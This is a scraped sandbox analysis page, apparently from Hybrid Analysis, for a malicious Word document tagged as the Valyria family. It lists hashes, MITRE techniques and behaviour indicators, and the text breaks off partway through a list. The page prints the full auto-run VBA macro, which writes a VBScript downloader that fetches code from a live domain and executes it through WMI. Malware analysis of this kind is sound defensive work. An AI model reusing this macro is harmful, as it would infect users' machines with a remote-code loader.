24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 2a:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4e0,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Valyria Sample 138918740031… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 138918740031…. Malware family: Valyria. Threat score 100/100. 0/0 AV engines flagged this file. 2 malicious and 5 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/138918740031ac6317c0bb02e2b17be8aaa694293b94fba810c7a27764af5465","keywords":["Malicious","Valyria","malware analysis","sandbox report","threat intelligence","138918740031ac6317c0bb02e2b17be8aaa694293b94fba810c7a27764af5465"],"about":{"@type":"SoftwareApplication","name":"138918740031ac6317c0bb02e2b17be8aaa694293b94fba810c7a27764af5465_1630487275995__UTF-8BMjEwODEzX_yXheustOyXsOudvSjsgqzsnbTrsoTslYjsoIQpLmRvYw_","applicationCategory":["doc","office"],"identifier":"138918740031ac6317c0bb02e2b17be8aaa694293b94fba810c7a27764af5465","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Valyria","antivirusDetections":{"malicious":0,"total":0},"behavioralIndicators":{"malicious":2,"suspicious":5},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T594,File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: "" File "NewMacros.bas" (Streampath: "Macros/VBA/NewMacros") has code: "Sub ViewPage(nShape) On Error Resume Next Set doc = ActiveDocument Set sel = doc.Shapes(nShape) sel.Fill.Solid sel.Delete For ViewMode = 10 To 0 Step -1 ActiveWindow.View.SeekView = ViewMode With Selection .WholeStory .Font.Hidden = False .Collapse End With Next End Sub Sub MainPage(resp) Documents.Add hs = "On Error Resume Next:Set mx = CreateObject(""Microsoft.XMLHTTP""):mx.open ""GET"" ""http://xxx/list.php?query=1"" False:mx.Send:Execute(mx.responseText)" ui = "bipaf.org/bbs/zipcode/auth/a4b5e82/586f0a" hs = Replace(hs, "xxx", ui) rp = resp & "\1589989024.xml" ActiveDocument.Range.Text = hs ActiveDocument.SaveAs rp, wdFormatText ActiveDocument.Close Set wmObj = GetObject("winmgmts:win32_process") wmObj.Create "wscript.exe //e:vbscript //b " & rp End Sub Sub AutoOpen() On Error Resume Next Application.ActiveWindow.View.Type = wdPrintView Set wnd = ActiveDocument wnd.Unprotect "1qaz2wsx" ViewPage ("pic") wnd.Save Set ob_tmp = Application.Templates Dim tmp As Template For Each tmp In ob_tmp If tmp.Type = 0 Then MainPage (tmp.Path) Exit For End If Next End Sub"26:T51c,"WINWORD.EXE" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "WINWORD.EXE" touched file "C:\Windows\Fonts\StaticCache.dat" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\user32.dll.mui" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001d.db" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{077F072C-2DDA-4EF0-8A3B-BB9A47BEC2E0}.tmp" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\msctf.dll.mui" "WINWORD.EXE" touched file "C:\Windows\System32\tzres.dll" "WINWORD.EXE" touched file "C:\Windows\System32\oleacc.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll" "WINWORD.EXE" touched file "C:\Windows\System32\rsaenh.dll" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui"27:T58e,"WINWORD.EXE" wrote bytes "63be20b5029fd701" to virtual address "0xEBF2D610" (part of module "MSO.DLL") "WINWORD.EXE" wrote bytes "c9a2417a039fd701" to virtual address "0xE5EBDE48" (part of module "RICHED20.DLL") "WINWORD.EXE" wrote bytes "e913b0dcff" to virtual address "0xFDC850C0" ("OleLoadFromStream@OLE32.DLL") "WINWORD.EXE" wrote bytes "48b8bc52b1eafe070000ffe0" to virtual address "0x770A9020" ("SetUnhandledExceptionFilter@KERNEL32.DLL") "WINWORD.EXE" wrote bytes "82a03559039fd701" to virtual address "0xF4CB0160" (part of module "MSPTLS.DLL") "WINWORD.EXE" wrote bytes "2cca0bb5029fd701" to virtual address "0xED1D2350" (part of module "OART.DLL") "WINWORD.EXE" wrote bytes "e9abc05600cc" to virtual address "0xFD4E4060" ("SysAllocStringByteLen@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "e933f05600" to virtual address "0xFD4E1180" ("VariantClear@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "b5e46190029fd701" to virtual address "0x3F693258" (part of module "WINWORD.EXE") "WINWORD.EXE" wrote bytes "010f08b5029fd701" to virtual address "0xF4F8FA00" (part of module "GFX.DLL") "WINWORD.EXE" wrote bytes "4da20bb5029fd701" to virtual address "0xEF1D71C0" (part of module "WWLIB.DLL") "WINWORD.EXE" wrote bytes "e933ef5600cccc" to virtual address "0xFD4E1210" ("SysFreeString@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "e94b9f5600cccccccccc" to virtual address "0xFD4E6230" ("VariantChangeType@OLEAUT32.DLL")28:T6fd,"WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "RM") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "RO-RO") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "ET-EE") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "KY") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "KY") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "KK-KZ") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "KK-KZ") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "KK") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "KK") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "MS-MY") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "MS-MY") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "MS") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "MS") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "UZ") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "BN") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "GL") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "KOK") "WINWORD.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "KOK-IN")29:T92c,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:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"138918740031ac6317c0bb02e2b17be8aaa694293b94fba810c7a27764af5465","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790794356214,"unified_at":"2026-09-30T18:52:36.214Z","metadata":{"hashes":{"sha256":"138918740031ac6317c0bb02e2b17be8aaa694293b94fba810c7a27764af5465","sha1":"136f6bf28cf2fae4ebb23d5cef7f0f8668ebb5e1","md5":"1287f69b59f67aab247487cdd12dfef7","sha512":"27694b205df70ff9dd564d3cb49962157c5fcef37b1ce01eb923b8f7ab44a315e744d5fa592fa60cfcc2bf63e4a7e4e4dba461b772c66ffc9ea4fc1f05ace5e9","ssdeep":"3072:RvCAZpybHT1L9fUj2to1eEN7hMOPu9zl2ATTIAjx4+iFtx/tGwhuNjD3a6Tjl69m:Rvi9vTENFR0pI2qFLkwhA3a6Ti","ssdeep_chunks":["3072:RvCAZpy","3072:vCAZpyb","3072:CAZpybH","3072:AZpybHT","3072:ZpybHT1","3072:pybHT1L","3072:ybHT1L9","3072:bHT1L9f","3072:HT1L9fU","3072:T1L9fUj","3072:1L9fUj2","3072:L9fUj2t","3072:9fUj2to","3072:fUj2to1","3072:Uj2to1e","3072:j2to1eE","3072:2to1eEN","3072:to1eEN7","3072:o1eEN7h","3072:1eEN7hM","3072:eEN7hMO","3072:EN7hMOP","3072:N7hMOPu","3072:7hMOPu9","3072:hMOPu9z","3072:MOPu9zl","3072:OPu9zl2","3072:Pu9zl2A","3072:u9zl2AT","3072:9zl2ATT","3072:zl2ATTI","3072:l2ATTIA","3072:2ATTIAj","3072:ATTIAjx","3072:TTIAjx4","3072:TIAjx4+","3072:IAjx4+i","3072:Ajx4+iF","3072:jx4+iFt","3072:x4+iFtx","3072:4+iFtx/","3072:+iFtx/t","3072:iFtx/tG","3072:Ftx/tGw","3072:tx/tGwh","3072:x/tGwhu","3072:/tGwhuN","3072:tGwhuNj","3072:GwhuNjD","3072:whuNjD3","3072:huNjD3a","3072:uNjD3a6","3072:NjD3a6T","3072:jD3a6Tj","3072:D3a6Tjl","3072:3a6Tjl6","3072:a6Tjl69","3072:6Tjl69m","6144:RvCAZpy","6144:vCAZpyb","6144:CAZpybH","6144:AZpybHT","6144:ZpybHT1","6144:pybHT1L","6144:ybHT1L9","6144:bHT1L9f","6144:HT1L9fU","6144:T1L9fUj","6144:1L9fUj2","6144:L9fUj2t","6144:9fUj2to","6144:fUj2to1","6144:Uj2to1e","6144:j2to1eE","6144:2to1eEN","6144:to1eEN7","6144:o1eEN7h","6144:1eEN7hM","6144:eEN7hMO","6144:EN7hMOP","6144:N7hMOPu","6144:7hMOPu9","6144:hMOPu9z","6144:MOPu9zl","6144:OPu9zl2","6144:Pu9zl2A","6144:u9zl2AT","6144:9zl2ATT","6144:zl2ATTI","6144:l2ATTIA","6144:2ATTIAj","6144:ATTIAjx","6144:TTIAjx4","6144:TIAjx4+","6144:IAjx4+i","6144:Ajx4+iF","6144:jx4+iFt","6144:x4+iFtx","6144:4+iFtx/","6144:+iFtx/t","6144:iFtx/tG","6144:Ftx/tGw","6144:tx/tGwh","6144:x/tGwhu","6144:/tGwhuN","6144:tGwhuNj","6144:GwhuNjD","6144:whuNjD3","6144:huNjD3a","6144:uNjD3a6","6144:NjD3a6T","6144:jD3a6Tj","6144:D3a6Tjl","6144:3a6Tjl6","6144:a6Tjl69","6144:6Tjl69m","3072:Rvi9vTE","3072:vi9vTEN","3072:i9vTENF","3072:9vTENFR","3072:vTENFR0","3072:TENFR0p","3072:ENFR0pI","3072:NFR0pI2","3072:FR0pI2q","3072:R0pI2qF","3072:0pI2qFL","3072:pI2qFLk","3072:I2qFLkw","3072:2qFLkwh","3072:qFLkwhA","3072:FLkwhA3","3072:LkwhA3a","3072:kwhA3a6","3072:whA3a6T","3072:hA3a6Ti"],"imphash":"Unknown"},"file_info":{"file_name":"138918740031ac6317c0bb02e2b17be8aaa694293b94fba810c7a27764af5465_1630487275995__UTF-8BMjEwODEzX_yXheustOyXsOudvSjsgqzsnbTrsoTslYjsoIQpLmRvYw_","file_type":["doc","office"],"file_type_id":"doc","file_size":248832,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1630487292000,"last_seen":1630487292000,"last_multi_scan":1630487292000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["macros-on-open"]},"stats":{"av":{"malicious_count":0,"suspicious_count":0,"total_engines":0},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":8},"sandbox_signatures":{"informative_count":20,"suspicious_count":5,"malicious_count":2,"total":27},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Valyria","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"User Execution","attack_id":"T1204","attack_id_wiki":"https://attack.mitre.org/techniques/T1204","identifiers":[{"type":"suspicious","value":"Contains embedded VBA macros with suspicious keywords"},{"type":"informative","value":"Contains embedded VBA macros"},{"type":"suspicious","value":"Contains embedded VBA macros with interesting strings"}],"sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"tactic":"Persistence","technique":"Office Application Startup","attack_id":"T1137","attack_id_wiki":"https://attack.mitre.org/techniques/T1137","identifiers":[{"type":"malicious","value":"Contains embedded VBA macros with keywords that indicate auto-execute behavior"},{"type":"informative","value":"Contains embedded VBA macros (normalized)"}],"sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/techniques/T1179","identifiers":[{"type":"informative","value":"Hooks API calls"},{"type":"informative","value":"Loads rich edit control libraries"},{"type":"informative","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Possibly tries to implement anti-virtualization techniques"}],"sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Removes Office resiliency keys (often used to avoid problems opening documents)"}],"sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"suspicious","value":"Found a potential E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]}],"sandbox_signatures":[{"level":"informative","category":"Environment Awareness","name":"Queries the installation properties of user installed products","description":"\"WINWORD.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\00004119210000000100000000F01FEC\\INSTALLPROPERTIES\"; Key: \"WINDOWSINSTALLER\")","origin":"Registry Access","relevance":10,"id":"registry-71","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"WINWORD.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"WINWORD.EXE\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"General","name":"Additional Submission Context","description":"Submission context: \"

\"","origin":"File/Memory","relevance":10,"id":"string-42","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros","description":"$25","origin":"Static Parser","mitre_attack_id":"T1204","relevance":10,"id":"static-13","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"General","name":"Contains embedded VBA macros (normalized)","description":"Normalized macro string: \"http):mx.open\"\n Normalized macro string: \"CreateObject(Microsoft.XMLHTTP):mx.open\"\n Normalized macro string: \"bipaf.org/bbs/zipcode/auth/a4b5e82/586f0a\"","origin":"File/Memory","mitre_attack_id":"T1137","relevance":10,"id":"string-50","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"WINWORD.EXE\" created file \"%TEMP%\\~DF6DF6391C0FBD867C.TMP\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACBPIDS_S-1-5-5-0-70904\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\x64_10MU_ACB10_S-1-5-5-0-70904\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\552FFA80-3393-423d-8671-7BA046BB5906\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\MsoShellExtRegAccess_S-1-5-21-686412048-2446563785-1323799475-1001\"\n \"Local\\x64_10MU_ACBPIDS_S-1-5-5-0-70904\"\n \"Global\\MsoShellExtRegAccess_S-1-5-21-686412048-2446563785-1323799475-1001\"\n \"Local\\x64_10MU_ACB10_S-1-5-5-0-70904\"\n \"Global\\552FFA80-3393-423d-8671-7BA046BB5906\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"General","name":"Loads rich edit control libraries","description":"\"WINWORD.EXE\" loaded module \"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE14\\RICHED20.DLL\" at E5D50000","origin":"Loaded Module","mitre_attack_id":"T1179","id":"module-2","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"General","name":"Removes Office resiliency keys (often used to avoid problems opening documents)","description":"\"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"'!5\")\n \"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"*.5\")\n \"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"%:5\")\n \"WINWORD.EXE\" (Access type: \"DELETE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\")\n \"WINWORD.EXE\" (Access type: \"DELETE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-68","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"WINWORD.EXE\" searching for class \"MSOBALLOON\"\n \"WINWORD.EXE\" searching for class \"MsoHelp10\"\n \"WINWORD.EXE\" searching for class \"AgentAnim\"\n \"WINWORD.EXE\" searching for class \"REListbox20W\"\n \"WINWORD.EXE\" searching for class \"MsoCommandBarPopup\"\n \"WINWORD.EXE\" searching for class \"NetUICtrlNotifySink\"\n \"WINWORD.EXE\" searching for class \"OfficeTooltip\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"Installation/Persistence","name":"Chained signature (with api-8702...). Detects file write then load as module","description":"Chained signature (with api-8702...). Detects file write then load as module","origin":"Loaded Module","relevance":8,"id":"module-8703","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"~WRS_077F072C-2DDA-4EF0-8A3B-BB9A47BEC2E0_.tmp\" has type \"data\"\n \"~_Normal.dotm\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"WINWORD.EXE\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"$26","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"612f42edaf195c3efe4a10ab"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"https://confirm.mail.daum.net/confirmapi/v1/users/kimkisa11%40hanmail%2Enet/cmails/20210813161501%2EDlAjfi2TT6eJIfMfyNNaHA%40kimkisa11%2Ehanmail%2Enet/recipients/spir21%40naver%2Ecom\"\n Pattern match: \"bipaf.org/bbs/zipcode/auth/a4b5e82/586f0a\"\n Heuristic match: \"a:DK0P.t|K\\M`P2$nW?)[ng5RCfHjvW+G2GmoOL;ET$hMG78lIiaiO#1p !.PR\"\n Pattern match: \"M1ekr.Vku/0n6^bKRDvIA\"\n Heuristic match: \"Jg>7l@?K8Ez(i<:f%p'd&0Xxa%\\V3 ^/sB3EHiQ,dbuD|&#P|zic8kl9=zwFt~2UG.W(\\ua#6YOMoy!T4^7vfoYsva%$_^+6~.rs\"\n Pattern match: \"7s.Djm/7gn4WJVOSi$4bN#\\Rcvj.a%pJDQn/ViGf19AUE\"\n Heuristic match: \"dffo^`QRnvk4WLJhA<-4}iAVtM-.qA\"\n Heuristic match: \"Title 8@_PID_HLINKSAtdLmailto:kimkisa11@hanmail.net\"\n Pattern match: \"http://schemas.openxmlformats.org/officeDocument/2006/customXml\"\n Pattern match: \"http://xxx/list.php?query=1B\"\n Pattern match: 